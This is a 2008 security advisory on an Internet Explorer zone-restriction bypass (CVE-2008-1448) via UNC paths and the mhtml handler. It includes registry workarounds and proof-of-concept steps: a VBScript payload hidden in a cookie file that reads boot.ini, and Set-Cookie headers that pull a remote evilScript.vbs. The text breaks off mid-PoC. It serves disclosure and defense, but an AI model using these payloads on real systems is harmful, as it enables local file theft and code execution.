7.1 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:M/Au:N/C:C/I:N/A:N
0.926 High
EPSS
Percentile
99.0%
**Title:**Internet Explorer Zone Elevation Restrictions Bypass and Security Zone Restrictions Bypass
**Advisory ID:**CORE-2008-0103
**Date published:**2008-08-13
**Date of last update:**2008-08-12
**Vendors contacted:**Microsoft
**Release mode:**Coordinated release
**Class:**Zone Elevation Restrictions Bypass and Security Zone Restrictions Bypass
**Remotely Exploitable:**Yes
**Locally Exploitable:**No
Bugtraq ID:30585
CVE Name:CVE-2008-1448
Internet Explorer introduces the concept of URL Security Zones, which basically define a set of privileges for web applications (such as, for example, accessing and/or modifying the local computer files) depending on their level of trustworthiness.
Issues have been found in the way that security policies are applied when a URI is specified in the UNC form: \\MACHINE_NAME_OR_IP\PATH_TO_RESOURCE
When a remote site attempts to access a local resource, Internet Explorer will fail to enforce the Zone Elevation restrictions.
When browsing a remote site, Internet Explorer will not apply the right Security Zone permissions, allowing a site belonging to a less secure zone to be treated as one belonging to a more privileged zone.
Microsoft has issued Security Bulletin MS08-048 to address this vulnerability. The bulletin includes workarounds and mitigating factors.
Workarounds communicated by the vendor include:
Locking down the MHTML protocol handler. Below are the required registry changes.
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_PROTOCOL_LOCKDOWN] “explorer.exe”=dword:00000001 “iexplore.exe”=dword:00000001 “*”=dword:00000001 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\RestrictedProtocols] [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\RestrictedProtocols\1] “mhtml”=“mhtml” [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\RestrictedProtocols\2] “mhtml”=“mhtml” [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\RestrictedProtocols\3] “mhtml”=“mhtml” [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\RestrictedProtocols\4] “mhtml”=“mhtml”
Disabling the MHTML protocol handler. To disable the protocol handler, follow these steps:
This vulnerability was discovered and researched by Jorge Luis Alvarez Medina from Core Security Technologies.
Internet Explorer is the most popular Internet browser in the world as it is an integrated component of every Windows installation. It introduces the concept of URL Security Zones, as explained in [1], which basically define a set of privileges for web applications (such as accessing and modifying the local computer files) depending on their level of trustworthiness, namely:
Local Intranet Zone: for content located on an organization’s intranet. Because the servers and information are within an organization’s firewall, it is reasonable to assign a higher level of trust to content on the intranet.
Trusted Sites Zone: for content located on Web sites that are considered more reputable or trustworthy than other sites on the Internet. Assigning a higher level of trust to these sites minimizes the number of related authentication requests. The user adds the URLs of trusted Web sites to this zone.
Internet Zone: for Web sites on the Internet that do not belong to another zone. This default setting causes Internet Explorer to prompt the user whenever potentially unsafe content is about to be downloaded. Web sites that are not mapped into other zones automatically fall into this zone.
Restricted Sites Zone: used for Web sites that contain content that can cause (or have previously caused) problems when downloaded. This zone causes Internet Explorer to alert users when potentially-unsafe content is about to be downloaded, or to prevent the content from downloading. The user adds the URLs of these un-trusted Web sites to this zone.
Local Machine Zone: the Local Machine zone is an implicit zone for content that exists on the local computer. The content found on the user’s computer (except for content that Internet Explorer caches on the local system) is treated with a high level of trust.
There are issues in the manner that security policies are applied when a URI is specified in the UNC form:
\\MACHINE_NAME_OR_IP\PATH_TO_RESOURCE
The Proof of Concepts below exploit the aforementioned issue by taking advantage of other features of Internet Explorer. Keep in mind that:
Besides the common web content types (such as plain http, image, audio and video) the browser is also able to render other standardized content types, among them, MIME HTML or mhtml. And, overriding the way IE chooses to render a file (described in [2]) presents a way to enforce the rendering type as MIME HTML by using the protocol handler for mhtml in the following manner:
mhtml:[PATH_TO_RESOURCE]
The resource content begins with the MIME HTML headers describing their contents, as shown below.
From: <wherever the contents where from> Subject: <whatever> Date: <whatever> MIME-Version: 1.0 Content-Type: multipart/related; type="text/html"; boundary="----=_NextPart_000_0000_01C8457B.CB7FBF60" X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.3028 [FILE CONTENTS]
But, in fact, the only header lines required for the file being rendered as mhtml, are:
Content-Type: <file content type> [FILE CONTENTS]
Cookies are stored in independent text files (one for each domain) inside the cookies folder (usually located at \Documents and settings\USERNAME\Cookies
in all Windows NT based implementations). The cookie file name is structured in the following manner:
[email protected][X]
where X is an integer like 1,2,3, depending on the Internet Explorer choice.
The cookies folder is hardcoded inside the Explorer engine as a restricted site. You can check it by looking at the status bar when browsing this folder with Windows Explorer.
When requesting a resource, for example, in the src
attribute of an HTML img
tag, Internet Explorer allows the usage of smb
URIs. So, when IE attempts to render the following line:
<img src>
It will attempt to establish an SMB connection against the IP_OR_HOSTNAME machine, using the port 445. If this communication is allowed, the username and a ciphered challenge/response will be sent to the IP_OR_HOSTNAME specified.
Internet Explorer reacts different when a requested resource is directly accessed or when it’s found after a redirection. If a page hosted in domain A makes a reference to a resource located at domain B, the user will be prompted to download this file from the B domain. But if the resource is requested, for example, in the following way:
<img src>
And the resource.pl contents are something like:
Status: 302 Found Location: B/realResource
Internet Explorer will download the B/realResource file transparently. Of course, in both cases, the security policies assigned to each domain will be applied.
In order to reproduce the vulnerability, follow these steps:
Create a file called evilCookie.txt
in your cookies folder with the following content:
Content-Type: text/html <HTML> <BODY> This text is <h1>HTML code</h1>inside your cookie <SCRIPT language="VBScript"> With CreateObject("MSXML2.XMLHTTP") .open "GET", "\\127.0.0.1\C$\boot.ini", False .send a = .ResponseText End With MsgBox a </SCRIPT> </BODY> </HTML>
Point your IE to the following URI, replacing USERNAME with the currently logged in user name.
mhtml:\\127.0.0.1\C$\Documents%20and%20Settings\USERNAME\Cookies\evilCookie.txt
The contents of your boot.ini file will be displayed in a message box (or could be programmatically sent to a remote web site).
Note that if you reference this file in a different way than using the UNC, the privileged VB script code (which requires local machine zone permissions to execute) won’t execute. For example, accessing the file through the following link:
mhtml:C:\Documents%20and%20Settings\USERNAME\Cookies\evilCookie.txt
will result in the file being opened and rendered, but the privileged code will not be executed. That’s because the folder containing the file evilCookie.txt belongs to the Restricted Sites Zone.
In this PoC, with nothing but a click on a link to an evil page, the contents of the boot.ini
file (located at the system root in all Windows NT based implementations) will be read using VBScript.
In order to do so, local machine zone permissions are required. So, we need a way to put our code inside the client’s machine. We will do so by storing our code in a cookie.
Let’s assume the victim user points his browser to the following URL:
http://example.com/evilPage
and this page sets their cookies with the following contents:
Set-Cookie: Content-Type: text/html=; path=/; expires=Monday, 26-Nov-2008 12:30:00 GMT Set-Cookie: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">=<HTML><BODY>This text is <h1>HTML code</h1>inside your cookie <SCRIPT language="VBScript" src="http://example.com/evilScript.vbs"></SCRIPT></BODY></HTML>